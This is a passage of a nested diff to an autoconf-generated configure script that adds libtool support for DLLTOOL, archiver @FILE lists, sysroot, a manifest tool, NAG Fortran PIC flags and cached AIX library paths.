-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_DLLTOOL"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="$ac_ct_DLLTOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_DLLTOOL="dlltool"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_DLLTOOL=$ac_cv_prog_ac_ct_DLLTOOL
-+if test -n "$ac_ct_DLLTOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_DLLTOOL" >&5
-+$as_echo "$ac_ct_DLLTOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
-- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
--set dummy ${ac_tool_prefix}ar; ac_word=$2
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6615,7 +6869,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6635,11 +6889,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6655,7 +6913,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6674,6 +6932,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6685,12 +6947,10 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-
-
-
-@@ -6702,6 +6962,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-+
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-+
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
- set dummy ${ac_tool_prefix}strip; ac_word=$2
-@@ -7036,8 +7354,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7073,6 +7391,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7114,6 +7433,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7125,7 +7456,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7151,8 +7482,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7162,8 +7493,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7200,6 +7531,21 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-+
-+
-+
-+
-+
-
-
-
-@@ -7216,6 +7562,40 @@ fi
-
-
-
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7427,6 +7807,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -7990,6 +8487,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8185,7 +8684,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8274,7 +8774,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8572,8 +9072,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8739,6 +9237,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8801,7 +9305,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -8858,13 +9362,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -8925,6 +9433,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9275,7 +9788,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9374,12 +9888,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9393,8 +9907,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9412,8 +9926,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9459,8 +9973,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9590,7 +10104,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9603,22 +10123,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9630,7 +10157,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9643,22 +10176,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
